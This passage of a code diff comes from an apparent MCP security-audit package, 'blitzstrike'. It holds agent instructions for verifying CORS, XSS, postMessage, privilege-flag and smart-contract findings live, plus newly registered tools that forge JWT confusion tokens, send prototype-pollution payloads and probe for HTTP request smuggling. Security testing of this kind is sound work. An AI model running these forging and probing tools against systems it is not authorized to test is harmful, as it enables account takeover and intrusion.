dangling CNAME/AliasTarget to a claimable service like *.github.io/*.herokuapp.com/*.amazonaws.com — CWE-404). TO TRY a cors hit: send an evil Origin + confirm the response echoes it with Allow-Credentials:true. TO TRY an xss hit: confirm the sink executes (drive_devtools). TO TRY a takeover hit: verify the CNAME target resolves to an unclaimed/not-found page. Two more client-side detectors: postmessage_no_origin_check (a window message listener that reads event.data but never validates event.origin — CWE-345; any site can drive the handler) and client_trusted_flag (a privilege/entitlement flag like isAdmin/withVip/premium read from request input and used in a security decision — CWE-807/639; derive the flag from server state, never the client). TO TRY a postMessage hit: send a crafted message from an attacker origin and confirm the handler acts on it. TO TRY a client-trusted-flag hit: flip the flag param to true and confirm the privilege is actually granted. WEB3: for Solidity/EVM, call web3_audit(code|path) — a deterministic 13-class smart-contract audit (reentrancy incl. ERC721/ERC1155 callback reentrancy, unchecked return, unchecked arithmetic, tx.origin auth, signature replay, unprotected selfdestruct, delegatecall-to-user-input, missing access control, timestamp dependence, spot-price oracle manipulation incl. slot0/latestRoundData, unbounded loop, abi.encodePacked hash collision, missing address(0) validation) returning ranked findings (class/CWE/severity/line), then foundry_poc(class, contract) to generate an executable Foundry test, and foundry_run(contract_code, poc_code|class_) to actually EXECUTE it — a PASSING PoC test is the proof that the exploit reproduces (deterministic: forge's own test verdict). A web3 hit is a HYPOTHESIS until the Foundry PoC reproduces it.\n" + `PRECISION ANALYSIS — chrome-devtools MCP is MANDATORY, not optional:
 ` + `- When a lead needs DOM/JS precision — DOM-XSS sink execution, AJAX endpoint + payload interception, JS runtime errors, redirect chains, SSO/token flow, or anything a static HTML glance cannot prove — call drive_devtools(target). It spawns chrome-devtools-mcp and drives a REAL headless browser (navigate -> list_network_requests -> list_console_messages -> evaluate_script), giving reproducible evidence instead of a guess.
 ` + `- Before calling it, check_mcp() to confirm the browser MCP is available; if not, blitzstrike install-tools or npm i -g chrome-devtools-mcp. Never substitute eyeballing minified JS or a static sink guess when a live browser can PROVE it. This is the precision + consistency layer.
 ` + "EXTERNAL MCP SERVERS (verified, connect them — NOT one-shot CLIs): chrome-devtools-mcp (29 tools: list_network_requests/get_network_request for raw HTTP interception, list_console_messages for JS errors + DOM-XSS, evaluate_script to run JS, take_screenshot) -> stdio chrome-devtools-mcp --headless --chromeArg=--no-sandbox --chromeArg=--disable-gpu (as root/container this is MANDATORY or the browser crashes; add --proxyServer http://127.0.0.1:8080 to route through Burp, --acceptInsecureCerts for bad TLS). burp-suite-mcp (proxy history + active scan + repeater) -> NOT npm: build the JAR (git clone https://github.com/PortSwigger/mcp-server.git && cd mcp-server && ./gradlew embedProxyJar), load it in Burp Extensions, then connect the client to http://127.0.0.1:9876 (SSE) or the stdio proxy java -jar mcp-proxy-all.jar --sse-url http://127.0.0.1:9876."
@@ -63805,6 +64005,41 @@ ${statusLine}` : statusLine },
   }, async ({ cve, target }) => {
     return { content: [{ type: "text", text: JSON.stringify(cveVerify(cve, target)) }] };
   });
+  server.registerTool("jwt_forge", {
+    title: "Forge JWT confusion tokens and verify which is accepted live",
+    description: "Turn a captured JWT into forged attack tokens (alg:none, HS256 with empty key, HS256 with the public key = RS256→HS256 key confusion, plus kid/jku/x5u hints) and — when an endpoint is given — send each one to prove which is ACCEPTED (status < 400). A JWT hit is report-ready only when a forged token is accepted, never from header analysis alone.",
+    inputSchema: {
+      token: string2().describe("The captured JWT (header.payload.signature)"),
+      endpoint: string2().optional().describe("URL to verify the forged token against"),
+      method: string2().optional().describe("HTTP method for verification (default GET)"),
+      header: string2().optional().describe("Header that carries the token (default Authorization)"),
+      token_prefix: string2().optional().describe("Token prefix, e.g. 'Bearer ' (default)"),
+      public_key: string2().optional().describe("Public key (PEM) to sign HS256 with for the key-confusion attack")
+    }
+  }, async (opts) => {
+    return { content: [{ type: "text", text: JSON.stringify(await jwtForge(opts)) }] };
+  });
+  server.registerTool("proto_pollution_probe", {
+    title: "Probe for prototype pollution with a reflection canary",
+    description: "Send deterministic JSON prototype-pollution payloads (__proto__ / constructor.prototype) to a target and check for a reflected canary. VERIFIED only when the canary is reflected back in the response — never from a 'payload accepted' guess. Common on Node.js/Express JSON-parsing endpoints.",
+    inputSchema: {
+      target: string2().describe("Base URL, e.g. https://target.com"),
+      endpoint: string2().optional().describe("Endpoint path or full URL (default '/')"),
+      method: string2().optional().describe("HTTP method (default POST)"),
+      param: string2().optional().describe("JSON key to nest the poison under (default 'data')")
+    }
+  }, async (opts) => {
+    return { content: [{ type: "text", text: JSON.stringify(await protoPollutionProbe(opts)) }] };
+  });
+  server.registerTool("smuggling_test", {
+    title: "Detect HTTP request-smuggling (CL.TE / TE.CL) desync live",
+    description: "Send CL.TE and TE.CL probes over a single raw connection and compare the follow-up request's status against a clean baseline. Flags a desync only when the follow-up response diverges (the smuggled prefix corrupted the next request → 4xx/5xx). A signal is a HINT to verify with the full smuggled-request chain, not a report-ready finding on its own.",
+    inputSchema: {
+      target: string2().describe("Target URL, e.g. https://target.com")
+    }
+  }, async ({ target }) => {
+    return { content: [{ type: "text", text: JSON.stringify(await smugglingTest(target)) }] };
+  });
   server.registerTool("auto_poc", {
     title: "Auto-PoC — generate a copy-paste-ready reproduction recipe",
     description: "Turn a finding into a concrete reproduction recipe (the 'reproducible' gate question made executable). Given a vuln class + target + endpoint + param, emit the exact request (with a MARKER), a NEGATIVE CONTROL, and the expected differential that PROVES the bug — plus a Patchstack-style title, derived severity, and the fix. Covers sql_injection, missing_authz/idor, ssrf, xss, ssti, command_injection, file_upload, mass_assignment, jwt_alg_confusion, crlf, open_redirect, xxe, prototype_pollution, deserialization, hardcoded_secret, cache_deception, cors_misconfiguration, subdomain_takeover. Pass type='list' to enumerate supported classes.",

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.117",
+  "version": "2.4.119",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {
@@ -77,6 +77,10 @@
     "java-parser": "^3.0.1",
     "php-parser": "^3.7.0"
   },
+  "overrides": {
+    "lodash": "4.18.1",
+    "lodash-es": "4.18.1"
+  },
   "devDependencies": {
     "@types/node": "^22.20.2",
     "playwright-core": "1.61.0",